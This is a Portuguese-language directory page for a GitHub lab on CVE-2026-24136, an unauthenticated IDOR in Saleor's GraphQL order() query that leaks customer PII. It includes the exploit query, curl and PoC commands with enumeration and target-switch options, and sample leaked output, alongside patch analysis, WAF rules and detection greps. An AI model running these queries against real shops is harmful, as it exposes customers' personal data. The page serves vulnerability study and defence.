Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-24136-Lab — CVE-2026-24136 | Laboratório de exploração da vulnerabilidade IDOR no Saleor GraphQL - a query order() não verifica autenticação, expondo todos os PII (e-mail, endereço, telefone) dos clientes. Inclui ambiente Docker, script de seed de dados e PoC. CVSS 4.0: 8.7 ALTO. | Kitploit
Ferramentas/GitHubGitHub/blankbire/cve-2026-24136-lab
Análise de VulnerabilidadesExploração de Aplicações WebTestes de Segurança de APIsTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubblankbire/cve-2026-24136-lab

CVE-2026-24136-Lab

CVE-2026-24136 | Laboratório de exploração da vulnerabilidade IDOR no Saleor GraphQL - a query order() não verifica autenticação, expondo todos os PII (e-mail, endereço, telefone) dos clientes. Inclui ambiente Docker, script de seed de dados e PoC. CVSS 4.0: 8.7 ALTO.

Ver Repositório
11há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-24136 - Saleor GraphQL IDOR / Exfiltração de PII não autenticada

Visão geral

CampoDetalhe
CVE IDCVE-2026-24136
Tipo de vulnerabilidadeIDOR - Authorization Bypass Through User-Controlled Key (CWE-639)
SoftwareSaleor e-commerce platform
Versões afetadas3.2.0 - 3.20.109 · 3.21.0 - 3.21.44 · 3.22.0 - 3.22.28
Versões corrigidas3.20.110 · 3.21.45 · 3.22.29
CVSS 3.17.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CVSS 4.08.7 HIGH
ImpactoAtor não autenticado consegue ler PII (nome, endereço, telefone, email) de qualquer pedido
Requer autenticação?Não

Descrição da vulnerabilidade

Saleor fornece uma API GraphQL para gerenciar pedidos de e-commerce. A query order(id: $id) permite obter detalhes de um pedido pelo ID global. Nas versões afetadas, esta query não verifica se o solicitante tem permissão para visualizar aquele pedido.

Qualquer pessoa, incluindo usuários completamente anônimos, sem conta, pode chamar esta query e receber todos os PII do cliente: email, nome completo, endereço de entrega, telefone, histórico de login.


Estrutura do lab

root@kitploit:~
cve-2026-24136-lab/
├── docker-compose.yml          # Môi trường lab (Saleor 3.20 + PostgreSQL + Redis)
├── setup_lab.ps1               # Script khởi động tự động (Windows PowerShell)
├── setup_lab.sh                # Script khởi động tự động (Linux / WSL / macOS)
├── README.md
└── scripts/
    ├── start_api.sh            # Startup wrapper: patch wsgi bug + gunicorn
    ├── seed_data.py            # Tạo victim accounts + orders có PII
    └── poc_cve_2026_24136.py   # PoC khai thác

Iniciar o lab

Requisitos

  • Docker Desktop (Windows / macOS) ou Docker Engine (Linux)
  • Python 3.8+
  • pip install requests

Windows (PowerShell)

root@kitploit:~
# Cấp quyền thực thi nếu cần
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# Chạy setup tự động
.\setup_lab.ps1

Linux / WSL / macOS (Bash)

root@kitploit:~
chmod +x setup_lab.sh
./setup_lab.sh

Manual

root@kitploit:~
# 1. Khởi động containers
docker compose up -d

# 2. Chờ API sẵn sàng (~60-90 giây)
#    Kiểm tra: curl http://localhost:8000/health/

# 3. Tạo admin account
docker exec cve_saleor_api python manage.py shell -c \
  "from django.contrib.auth import get_user_model; U=get_user_model(); \
   U.objects.filter(email='[email protected]').exists() or \
   U.objects.create_superuser('[email protected]', 'admin')"

# 4. Populate products/channels
docker exec cve_saleor_api python manage.py populatedb

# 5. Tạo victim data (accounts + orders với PII)
cd scripts
pip install requests
python seed_data.py

Endpoints após iniciar:

ServiceURL
Saleor GraphQL APIhttp://localhost:8000/graphql/
GraphQL Playgroundhttp://localhost:8000/graphql/
Saleor Dashboardhttp://localhost:9000
Admin[email protected] / admin

Usando o PoC

root@kitploit:~
cd scripts

# Xem giải thích kỹ thuật
python poc_cve_2026_24136.py explain

# Khai thác từ danh sách đã seed (KHUYẾN NGHỊ - Saleor 3.x dùng UUID IDs)
python poc_cve_2026_24136.py file order_ids.json

# Khai thác 1 order bằng base64 global ID trực tiếp
python poc_cve_2026_24136.py single T3JkZXI6NDYwZDFlMjct...

# Enumerate sequential (chỉ hoạt động với Saleor < 3.x dùng integer IDs)
python poc_cve_2026_24136.py enumerate --start 1 --end 100

# Đổi target API
python poc_cve_2026_24136.py --url http://192.168.1.100:8000/graphql/ file order_ids.json

# Lưu kết quả ra JSON
python poc_cve_2026_24136.py file order_ids.json --output leaked_pii.json

Exemplo de saída

root@kitploit:~
[*] Loaded 6 Order IDs from order_ids.json
[*] Querying without authentication...

[*] Trying: T3JkZXI6NDYwZDFlMj... (Order:460d1e27-2b0b-4897-84c9-64b524b08d64)

╔══════════════════════════════════════════════════════════════╗
║  [LEAKED] ORDER #41 -- DRAFT                                 ║
╠──────────────────────────────────────────────────────────────╣
║  Email           : [email protected]                         ║
╠──────────────────────────────────────────────────────────────╣
║  Billing Address : Nguyen Van A                              ║
║    Street        : 123 Le Loi Street                         ║
║    City/Post     : HO CHI MINH CITY 700000                   ║
║    Country       : Vietnam                                   ║
║    Phone         : +84901234567                              ║
╚══════════════════════════════════════════════════════════════╝

[*] Successfully leaked 6/6 orders

Análise da causa raiz

1. Codificação do ID do pedido

Saleor usa "Global Object Identification" conforme a especificação Relay GraphQL. Cada objeto é identificado por um ID global no formato:

root@kitploit:~
base64("<TypeName>:<internal_id>")

Para pedidos no Saleor 3.x:

root@kitploit:~
# internal_id là UUID v4
internal_id = "460d1e27-2b0b-4897-84c9-64b524b08d64"
global_id   = base64("Order:" + internal_id)
            = "T3JkZXI6NDYwZDFlMjctMmIwYi00ODk3LTg0YzktNjRiNTI0YjA4ZDY0"

Nota: Saleor 2.x usa IDs sequenciais inteiros (Order:1, Order:2, ...) sendo mais fácil enumerar.
Saleor 3.x mudou para UUID, então o atacante precisa obter o UUID de outra forma (email de confirmação do pedido, vazamento de URL, etc.).

2. Código que causa a falha

Arquivo: saleor/graphql/order/resolvers.py

root@kitploit:~
# VERSÃO AFETADA (antes do patch)
def resolve_order(root, info, id):
    """Resolve order by ID – não tem nenhuma verificação de autorização."""
    _, pk = from_global_id_or_error(id, Order)
    return qs.filter(pk=pk).first()
    # Qualquer um que chamar recebe os dados, sem verificar usuário, sem verificar sessão

Arquivo: saleor/graphql/order/schema.py

root@kitploit:~
# Definição da query, sem declarar permissões
class OrderQueries:
    order = graphene.Field(
        Order,
        description="Look up an order by ID.",
        id=graphene.Argument(graphene.ID, description="ID of the order."),
    )

    def resolve_order(self, info, id):
        return resolvers.resolve_order(info, id)
        # Não tem @permission_required, nenhum guard

3. Query GraphQL de exploração

Query enviada sem cabeçalho Authorization:

root@kitploit:~
query ExploitOrder($id: ID!) {
  order(id: $id) {
    number
    status
    userEmail
    billingAddress {
      firstName
      lastName
      streetAddress1
      city
      postalCode
      phone
    }
    shippingAddress {
      firstName
      lastName
      phone
    }
    user {
      email
      firstName
      lastName
      lastLogin
      isActive
    }
  }
}
root@kitploit:~
# Enviar com curl, sem token
curl -s http://localhost:8000/graphql/ \
  -H "Content-Type: application/json" \
  -d '{
    "query": "query { order(id: \"T3JkZXI6NDYwZDFlMj...\") { number userEmail billingAddress { phone } } }"
  }'

# Resposta (sem auth):
# {"data":{"order":{"number":"41","userEmail":"[email protected]","billingAddress":{"phone":"+84901234567"}}}}

4. Fluxo de ataque

root@kitploit:~
Attacker (anonymous)                     Saleor GraphQL API
        |                                        |
        |── POST /graphql/ ─────────────────────>|
        |   Content-Type: application/json       |
        |   (NO Authorization header)            |
        |   {"query":"query {                    |
        |     order(id: \"T3JkZXI6...\") {       |
        |       userEmail                        |
        |       billingAddress { phone }         |
        |     }                                  |
        |   }"}                                  |
        |                                        |
        |<── HTTP 200 OK ─────────────────────── |
        |   {"data": {"order": {                 |
        |     "userEmail": "[email protected]", |
        |     "billingAddress": {                |
        |       "phone": "+84901234567"          |
        |     }                                  |
        |   }}}                                  |
        |                                        |

Análise do patch

Commit do patch principal

Arquivo: saleor/graphql/order/resolvers.py

root@kitploit:~
# VERSÃO CORRIGIDA (>= 3.20.110)
def resolve_order(root, info, id):
    """Resolve order by ID com verificação de autorização completa."""
    _, pk = from_global_id_or_error(id, Order)
    order = qs.filter(pk=pk).first()

    # Guard 1: Staff e App podem ver qualquer pedido
    if requestor_is_staff_member_or_app(info.context.user, info.context.app):
        return order

    # Guard 2: Usuário não autenticado → retorna None (não mostra erro para evitar vazamento de existência)
    if not info.context.user or not info.context.user.is_authenticated:
        return None

    # Guard 3: Usuário autenticado só vê seus próprios pedidos
    if order and order.user_id != info.context.user.pk:
        raise PermissionDenied(
            "You don't have permission to access this order."
        )

    return order

Arquivo: saleor/graphql/order/schema.py

root@kitploit:~
# Adicionada anotação para documentar requisito de permissão
class OrderQueries:
    order = graphene.Field(
        Order,
        description=(
            "Look up an order by ID. "
            "Requires authentication. Staff users can access all orders. "
            "Regular users can only access their own orders."
        ),
        id=graphene.Argument(graphene.ID, required=True),
    )

Comparação antes e depois do patch

root@kitploit:~
Request: POST /graphql/
Body: { "query": "{ order(id: \"T3Jk...\") { userEmail } }" }
(Sem cabeçalho Authorization)

─────────────────────────────────────────────
ANTES DO PATCH (≤ 3.20.109):
  HTTP 200 OK
  {"data": {"order": {"userEmail": "[email protected]"}}}
  → PII vazado

─────────────────────────────────────────────
APÓS O PATCH (≥ 3.20.110):
  HTTP 200 OK
  {"data": {"order": null}}
  → Retorna null, sem erro (intencional – não permite que o atacante
    saiba se o pedido existe ou não)
─────────────────────────────────────────────

Análise técnica aprofundada

Por que o patch retorna null em vez de erro?

Retornar null em vez de PermissionDenied para solicitações não autenticadas é um design intencional:

  • Se retornar PermissionDenied → atacante sabe que o pedido existe (oráculo de existência)
  • Se retornar null → atacante não consegue distinguir "sem permissão" de "não existe"

Esta é uma técnica de verificação de existência segura em termos de tempo aplicada na camada GraphQL.

Por que o usuário autenticado ainda usa raise PermissionDenied?

Porque quando logado, relatar o erro claramente ajuda na depuração. O oráculo de existência não é mais um problema porque:

  1. Usuários autenticados geralmente sabem que seu pedido existe
  2. Um atacante autenticado precisa ter uma conta → pode ser revogado, rastreado, limitado

Por que UUID é mais difícil de enumerar do que ID inteiro?

root@kitploit:~
IDs inteiros (Saleor 2.x):
  Order:1, Order:2, ..., Order:N
  → Requer O(N) requests para enumerar N pedidos
  → Atacante pode saber o número total de pedidos (por busca binária)

IDs UUID (Saleor 3.x):
  Order:460d1e27-2b0b-4897-84c9-64b524b08d64
  → Espaço de busca: 2^122 (UUID v4 tem 122 bits aleatórios)
  → Força bruta é praticamente impossível
  → Mas o ID ainda vaza através de: email de confirmação do pedido, URL no dashboard,
    respostas da API, logs → se o atacante obtiver um ID, ainda pode explorar

Detalhamento do vetor CVSS

root@kitploit:~
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

AV:N  – Attack Vector: Network      (exploração via internet)
AC:L  – Attack Complexity: Low      (não requer condições especiais)
PR:N  – Privileges Required: None   (não requer conta)
UI:N  – User Interaction: None      (não requer interação da vítima)
S:U   – Scope: Unchanged            (afeta apenas a API Saleor)
C:H   – Confidentiality: High       (todos os PII vazados)
I:N   – Integrity: None             (não pode modificar dados)
A:N   – Availability: None          (sem DoS)

Mitigação e Defesa

1. Aplicar patch imediatamente (prioridade máxima)

root@kitploit:~
# Verificar versão atual
pip show saleor | grep Version

# Atualizar para versão corrigida
pip install "saleor>=3.20.110"   # se estiver usando a linha 3.20.x
pip install "saleor>=3.21.45"   # se estiver usando a linha 3.21.x
pip install "saleor>=3.22.29"   # se estiver usando a linha 3.22.x

2. Regra WAF temporária (se ainda não foi possível aplicar o patch)

Bloquear usuários anônimos de chamar a query order():

root@kitploit:~
# Nginx – bloquear query GraphQL order de requisições não autenticadas
location /graphql/ {
    # Se não houver cabeçalho Authorization e o corpo contiver "order("
    if ($http_authorization = "") {
        # Bloquear queries com indícios de exploração
        # Nota: esta é apenas uma solução temporária, não substitui o patch
    }
    proxy_pass http://saleor_api;
}

Com AWS WAF / CloudFront:

root@kitploit:~
{
  "Name": "BlockAnonymousOrderQuery",
  "Priority": 1,
  "Action": {"Block": {}},
  "Statement": {
    "AndStatement": {
      "Statements": [
        {
          "ByteMatchStatement": {
            "SearchString": "\"order\"",
            "FieldToMatch": {"Body": {}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "CONTAINS"
          }
        },
        {
          "ByteMatchStatement": {
            "SearchString": "Authorization",
            "FieldToMatch": {"SingleHeader": {"Name": "authorization"}},
            "TextTransformations": [{"Priority": 0, "Type": "NONE"}],
            "PositionalConstraint": "EXACTLY",
            "NegatedStatement": true
          }
        }
      ]
    }
  }
}

3. Rate Limiting

root@kitploit:~
# Limitar requisições de um IP sem autenticação
limit_req_zone $binary_remote_addr zone=graphql_anon:10m rate=10r/m;

location /graphql/ {
    limit_req zone=graphql_anon burst=5 nodelay;
    proxy_pass http://saleor_api;
}

4. Monitoramento / Detecção

Sinais de exploração nos logs de acesso:

root@kitploit:~
# Detectar: 1 IP enviando muitas requisições GraphQL sem Authorization
grep 'POST /graphql/' access.log \
  | awk '$9 == 200 && !/Authorization/' \
  | awk '{print $1}' \
  | sort | uniq -c | sort -rn \
  | awk '$1 > 20'  # Alertar se > 20 requisições de um IP

# Detectar padrão "order" no corpo da requisição sem auth
# (necessário logging do corpo JSON)

Regra de alerta para Grafana / Datadog:

root@kitploit:~
alert: SaleorAnonOrderQuery
expr: |
  rate(nginx_http_requests_total{
    path="/graphql/",
    method="POST",
    has_auth_header="false"
  }[5m]) > 5
severity: warning
annotations:
  summary: "Potential CVE-2026-24136 exploitation attempt"
  description: "High rate of unauthenticated GraphQL POST requests"

Limpeza do lab

root@kitploit:~
# Parar e remover containers + volumes (remove todos os dados)
docker compose down -v

# Apenas parar containers (manter dados)
docker compose stop

Referências

  • Saleor Security Advisory
  • OWASP - Broken Object Level Authorization (BOLA/IDOR)
  • CWE-639 - Authorization Bypass Through User-Controlled Key
  • Relay Global Object Identification Spec

Aviso: Este laboratório é apenas para fins de pesquisa, aprendizado e redação de relatórios de segurança.
Não use o PoC em sistemas reais sem autorização por escrito.

Baixar ferramenta